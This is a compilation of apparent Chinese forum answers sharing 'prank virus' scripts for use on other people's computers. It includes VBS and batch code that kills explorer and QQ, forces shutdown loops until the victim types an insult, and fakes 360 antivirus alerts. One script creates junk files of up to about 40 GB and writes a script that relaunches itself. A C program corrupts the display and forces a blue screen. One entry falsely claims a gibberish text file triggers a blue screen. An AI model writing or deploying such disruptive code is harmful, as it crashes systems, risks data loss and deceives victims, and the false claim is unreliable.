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求一些好玩的整人代码~~
gsh=msgbox ("已经准备好格式化，准备开始。",vbyesno)
set s=createobject("wscript.shell")
wscript.sleep 1000
msgbox "开始格式化…… 哈哈！吓晕了吧，骗你的~"
wscript.sleep 1000
wscript.sleep 1000*100
msgbox "windows发现一重要更新，将自动下载。"
wscript.sleep 3000
msgbox "系统检测到WINDOWS更新中捆绑有不明插件SXS.exe,是否对其扫描？",vbyesno
wscript.sleep 1000
msgbox "文件名 SXS.exe"+CHR(13)+"发行者 田间的菜鸟 "+chr(13)+"安全评级 高危"+chr(13)+"建议 直接删除"+chr(13)+"病毒类型：木马",,"windows扫描附件"
msgbox "是否阻止其安装？",vbyesno
wscript.sleep 3000
msgbox "阻止失败！请检查防火墙是否开启！"
wscript.sleep 5000
msgbox "正在尝试强行删除…"
wscript.sleep 5000
msgbox "失败！"
wscript.sleep 5000
msgbox "您的电脑已陷入危险之中，请赶快扫描病毒！"
wscript.sleep 10000
s.sendkeys "% n"
s.run "taskkill /im QQ.exe"
s.sendkeys "% n"
s.run "taskkill /im explorer.exe /f"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
msgbox "你好啊！"
wscript.sleep 3000
msgbox "很高兴见到你！"
wscript.sleep 3000
msgbox "您的电脑可能已经感染病毒！",,"WINDOWS防火墙警告"
wscript.sleep 3000
msgbox "我控制你的电脑了！"
wscript.sleep 3000
msgbox "不信？那我给你关机看看~"
s.run "shutdown -r -t 120"
msgbox "信了吧！"
msgbox "帮你解除关机……"
s.run "shutdown -a"
msgbox "再给你打开记事本写封信，劝你最好别动，要不然会引起系统混乱~"
s.run "notepad"
wscript.sleep 3000
s.sendkeys "Hello, I'm sorry I control your computer,"
wscript.sleep 3000
s.sendkeys " but the virus is false in, "
wscript.sleep 3000
s.sendkeys "only a joke, "
wscript.sleep 3000
s.sendkeys "please rest assured! "
wscript.sleep 3000
s.sendkeys "I no longer next "
wscript.sleep 3000
s.sendkeys "time so the whole you!"
wscript.sleep 3000
s.sendkeys" Goodbye!"
s.sendkeys"{enter}"
s.sendkeys"END"
wscript.sleep 1000
s.sendkeys"%{F4}"
msgbox "提示：刚才的“病毒”是假的，只不过是吓你玩玩~"
s.run "explorer"
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恶搞电脑病毒代码有哪些
有时候想和朋友们玩玩，搞点恶搞电脑病毒给他们，要怎么办呢?下面由我给你做出详细的恶搞电脑病毒代码介绍!希望对你有帮助!
恶搞电脑病毒代码介绍一：
首先在电脑上新建一个TXT文档
然后把下面这段代码输入进去
On Error Resume Next
Dim WSHshellA
Set WSHshellA = wscript.CreateObject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -s -t 90 -c ""快喊我是猪，不喊就马上让你关机，不信，试试···"" ", 0, True
Dim a
Do While (a "我是猪")
a = InputBox("快说我是猪,不叫就不关机，快点，说 ", "说不说", "不说", 8000, 7000)
MsgBox Chr(13) + Chr(13) + Chr(13) + a, 0, "MsgBox"
Loop
MsgBox Chr(13) + Chr(13) + Chr(13) + "早说就行了嘛!好,不关了"
WSHshella.run "cmd.exe /c shutdown -a"
然后保存
然后把这个文本文档的后缀改为vbs 也就是说新建的文本文档本来是.TXT的后缀，
你要修改为.VBS的后缀
恶搞电脑病毒代码介绍二：
新建一个文本文档，然后插入hhjsfdusnjwindow,,hffjfiukjei 508963kfdjksfjjkk,最后插入图片，如果对方有邮箱，就发给他
他一打开就会出现你插入的图片，然后出现 蓝屏 (效果7—10分钟)(注：做好病毒后不要打开，否则会出现以上说的情况)
恶搞电脑病毒代码介绍三：
新建一个文本文档(.txt)，要复制以下代码：
@echo off
color 4
tskill explorer
echo .
echo .
echo .
echo .
echo 警告：在病毒执行期间禁止关闭电源，
echo 否则你就和你心爱的电脑说
echo .
echo . BYE-BYE
echo .
echo Computer system crash!
echo .
echo .
echo I am a virus, my name is Ghost.
echo 我是魔鬼病毒，在这个堕落的世界上苏醒了。
echo .
echo . Warning! CPU has been changed please re-enter CPU settings
echo. in the CMOS setuo and remember to save before quit.
echo. Secondary IDE channel no 80 conductor cable installed.
set /p select=:)
if "%select%"=="" goto start
:start
shutdown -r -t 10 -c "您的计算机上带有魔鬼病毒，今天是它的发作日期。病毒已经破坏了您的系统，您的计算机将在10秒钟后重启。"
::结束
再另存为：名字.bat 你要记住"名字"后面要加".bat"
就可以了，没有任何破坏性，吓吓人。
你可以试试看看效果。
求一个C语言整人代码！！！
先上代码
#include Windows.h
#include time.h
using namespace std;
int call;
int ScreenWidth = GetSystemMetrics(SM_CXSCREEN);
int ScreenHeight = GetSystemMetrics(SM_CYSCREEN);
int IconWidth = GetSystemMetrics(SM_CXICON);
int IconHeight = GetSystemMetrics(SM_CYICON);
HDC hdc=GetWindowDC(GetDesktopWindow());
#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) 0x8000) ? 1:0)
int random(int upper_bound) {
if(upper_bound==0) {
return 0;
}
srand((unsigned)(time(NULL) * clock() * rand()*call + time(NULL) + rand()+call));
call++;
return rand() % upper_bound;
}
DWORD WINAPI FlashDesktop(LPVOID Param) {
while(true) {
BitBlt(hdc, 0, 0, ScreenWidth, ScreenHeight, hdc, 0, 0, NOTSRCCOPY);
Sleep(random(100));
}
return 0;
}
int GetWay() {
int r=random(3);
switch(r) {
case 0:
return SRCAND;
case 1:
return SRCINVERT;
case 2:
return SRCPAINT;
}
}
DWORD WINAPI ScreenXorOperation1(LPVOID Param) {
while(true) {
int RandWidth = random(ScreenWidth);
int RandHeight = random(ScreenHeight);
int RandxPixel = random(ScreenWidth - RandWidth);
int RandyPixel = random(ScreenHeight - RandHeight);
int RandDestxPixel = random(ScreenWidth - RandWidth);
int RandDestyPixel = random(ScreenHeight - RandHeight);
BitBlt(hdc, RandxPixel, RandyPixel, RandWidth, RandHeight, hdc, RandDestxPixel, RandDestyPixel, SRCINVERT);
Sleep(random(100));
}
return 0;
}
DWORD WINAPI ScreenXorOperation2(LPVOID Param) {
while(true) {
int RandWidth = random(ScreenWidth);
int RandHeight = random(ScreenHeight);
int RandxPixel = random(ScreenWidth - RandWidth) + RandWidth;
int RandyPixel = random(ScreenHeight - RandHeight) + RandHeight;
int RandDestxPixel = random(ScreenWidth - RandWidth) + RandWidth;
int RandDestyPixel = random(ScreenHeight - RandHeight) + RandHeight;
BitBlt(hdc, RandxPixel, RandyPixel, RandWidth, RandHeight, hdc, RandDestxPixel, RandDestyPixel, SRCINVERT);
Sleep(random(100));
}
return 0;
}
DWORD WINAPI CallBsod1MinLater(LPVOID Param) {
Sleep(60000);
HMODULE ntdll = LoadLibrary("ntdll.dll");
FARPROC RtlAdjustPrivilege=GetProcAddress(ntdll,"RtlAdjustPrivilege");
FARPROC NtRaiseHardError=GetProcAddress(ntdll,"NtRaiseHardError");
unsigned char temp0;
long unsigned int temp1;
((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjustPrivilege)(0x13, true, false, temp0);
((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardError)(0xc000021a, 0, 0, 0, 6, temp1);
return 0;
}
DWORD WINAPI DrawErrors(LPVOID Param) {
while(true) {
int RandxPixel = random(ScreenWidth - IconWidth / 2);
int RandyPixel = random(ScreenHeight - IconHeight / 2);
DrawIcon(hdc, RandxPixel, RandyPixel, LoadIcon(NULL, IDI_ERROR));
Sleep(random(50));
}
return 0;
}
int main(void) {
CreateThread(NULL, 4096, FlashDesktop, NULL, NULL, NULL);
CreateThread(NULL, 4096, ScreenXorOperation1, NULL, NULL, NULL);
CreateThread(NULL, 4096, ScreenXorOperation2, NULL, NULL, NULL);
CreateThread(NULL, 4096, CallBsod1MinLater, NULL, NULL, NULL);
CreateThread(NULL, 4096, DrawErrors, NULL, NULL, NULL);
while(true);
}
运行这段代码首先会花屏并闪屏，一分钟后蓝屏。
效果图：
有没有一些恶搞别人的vbs代码
自编vbs仅供娱乐！！！
set qstart = wscript.CreateObject("wscript.shell")
set qweb = CreateObject("Wscript.Shell")
set qwrite = CreateObject("scripting.filesystemobject")
set qsay = CreateObject("sapi.spvoice")
qstart.run "D:\病毒BGM.mp3" '《江南皮革厂倒闭了》
msgbox "您的电脑已被病毒入侵！",vbokonly+vbExclamation,"360 Defender"
qstart.run "cmd.exe /c start appwiz.cpl"
qstart.run "cmd.exe /c start bthprops.cpl"
qstart.run "cmd.exe /c start calc.exe"
qstart.run "cmd.exe /c start cleanmgr.exe"
qstart.run "cmd.exe /c start cmd.exe"
qstart.run "cmd.exe /c start colorcpl.exe"
qstart.run "cmd.exe /c start control.exe"
qstart.run "cmd.exe /c start cttune.exe"
qstart.run "cmd.exe /c start desk.cpl"
qstart.run "cmd.exe /c start dfrgui.exe"
qstart.run "cmd.exe /c start dxdiag.exe"
qstart.run "cmd.exe /c start FileHistory.exe"
qstart.run "cmd.exe /c start Firewall.cpl"
qstart.run "cmd.exe /c start Fondue.exe"
qstart.run "cmd.exe /c start fontview.exe"
qstart.run "cmd.exe /c start fsquirt.exe"
qstart.run "cmd.exe /c start hdwwiz.cpl"
qstart.run "cmd.exe /c start inetcpl.cpl"
qstart.run "cmd.exe /c start intl.cpl"
qstart.run "cmd.exe /c start irprops.cpl"
qstart.run "cmd.exe /c start joy.cpl"
qstart.run "cmd.exe /c start LaunchTM.exe"
qstart.run "cmd.exe /c start Magnify.exe"
qstart.run "cmd.exe /c start main.cpl"
qstart.run "cmd.exe /c start mblctr.exe"
qstart.run "cmd.exe /c start mmsys.cpl"
qstart.run "cmd.exe /c start msinfo32.exe"
qstart.run "cmd.exe /c start mspaint.exe"
qstart.run "cmd.exe /c start ncpa.cpl"
qstart.run "cmd.exe /c start notepad.exe"
qstart.run "cmd.exe /c start powercfg.cpl"
qstart.run "cmd.exe /c start RTSnMg64.cpl"
qstart.run "cmd.exe /c start SnippingTool.exe"
qstart.run "cmd.exe /c start sysdm.cpl"
qstart.run "cmd.exe /c start TabletPC.cpl"
qstart.run "cmd.exe /c start telephon.cpl"
qstart.run "cmd.exe /c start timedate.cpl"
qstart.run "cmd.exe /c start write.exe"
qstart.run "cmd.exe /c start wscript.exe"
qstart.run "cmd.exe /c start wscui.cpl"
qstart.run "cmd.exe /c fsutil file createnew 1.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 2.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 3.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 4.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 5.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 6.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 7.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 8.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 9.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 10.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 11.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 12.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 13.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 14.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 15.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 16.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 17.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 18.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 19.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 20.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 21.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 22.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 23.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 24.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 25.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 26.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 27.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 28.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 29.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 30.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 31.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 32.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 33.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 34.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 35.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 36.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 37.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 38.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 39.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 40.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 41.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 42.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 43.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 44.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 45.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 46.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 47.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 48.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 49.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 50.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 51.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 52.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 53.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 54.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 55.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 56.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 57.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 58.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 59.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 60.bug 40000"
qstart.run "cmd.exe /c fsutil file createnew 61.bug 400000"
qstart.run "cmd.exe /c fsutil file createnew 62.bug 4000000"
qstart.run "cmd.exe /c fsutil file createnew 63.bug 40000000"
qstart.run "cmd.exe /c fsutil file createnew 64.bug 400000000"
qstart.run "cmd.exe /c fsutil file createnew 65.bug 4000000000"
qstart.run "cmd.exe /c fsutil file createnew 666.bug 40000000000"
wscript.sleep 25000
qstart.run "cmd.exe /c shutdown -s -t 60 -c ""360公司温馨提醒：因为这个游戏涉及非法内容，所以您的电脑将在60秒后自动关机"" ",0,true
qstart.run "cmd.exe /c echo 滚|clip"
A = INPUTBOX ("说！360是不是上帝？"+chr(13)+chr(13)+chr(13)+"（“滚”已复制到剪贴板，可以粘贴。）","360 Defender","不是",8000,7000)
IF A = "是" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "好的，现在您可以下载360安全卫士来杀毒了。",vbokonly,"360 Defender"
do
qweb.run""
loop
ELSEIF A = "不是" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"您怎么这么懒呢？",vbokonly+vbQuestion,"360 Defender"
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"是时候锻炼锻炼了",vbokonly+vbInformation,"360 Defender"
msgbox "游戏规则：在开始后，请及时点击 “确定” 键来取消关机。"+chr(13)+"现在您可以把这个窗口x掉，或者点击确定，来开始游戏。",vbokonly+vbInformation,"360 Defender"
do
qstart.run "cmd.exe /c shutdown -s -t 5 ",0,true
msgbox "取消关机",vbokonly,"360 Defender"
qstart.run "cmd.exe /c shutdown -a",0,true
qweb.run""
qweb.run""
qweb.run""
loop
ELSEIF A = "" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "周鸿祎表示无语。"+chr(13)+chr(13)+chr(13)+"这样是不可能解决问题的",vbokonly,"360 Defender"
msgbox "自己探寻吧",vbokonly,"360 Defender"
do
qstart.run "cmd.exe /c shutdown -s -t 5",0,true
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd.exe /c shutdown -a",0,true
loop
ELSEIF A = "滚" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "emmmmmmmm",vbokonly,"360 Defender"
set qwriteb=qwrite.CreateTextFile( "D:\1.txt",,ture)
qwriteb.WriteLine "wscript.CreateObject(" chr(34) "wscript.shell" chr(34) ").run " chr(34) "D:\1.vbs" chr(34)
qwriteb.WriteLine "msgbox " chr(34) "滚" chr(34) ",vbokonly+vbinformation," chr(34) "360 Defender" chr(34)
qwriteb.close
qwrite.movefile "D:\1.txt","D:\1.vbs"
qstart.run "D:\1.vbs"
ELSE
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "由于您在说废话，但是您一定不想浪费时间说废话，所以该电脑对您有害。浪费别人时间就是谋财害命 ( 鲁迅 ) 。360积极维护您的财产权和生命健康权，决定不砸掉您的电脑。"+chr(13)+chr(13)+"那现在先把C盘给抹咯！",vbokonly+vbInformation,"360 Defender"
qsay.speak ("在抹掉C盘的过程中，您的电脑将会重启数次此瓷呲呲瓷此次次此瓷呲呲瓷此次次此瓷呲")
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qstart.run "cmd.exe /c shutdown -r -t 5",0,true
END IF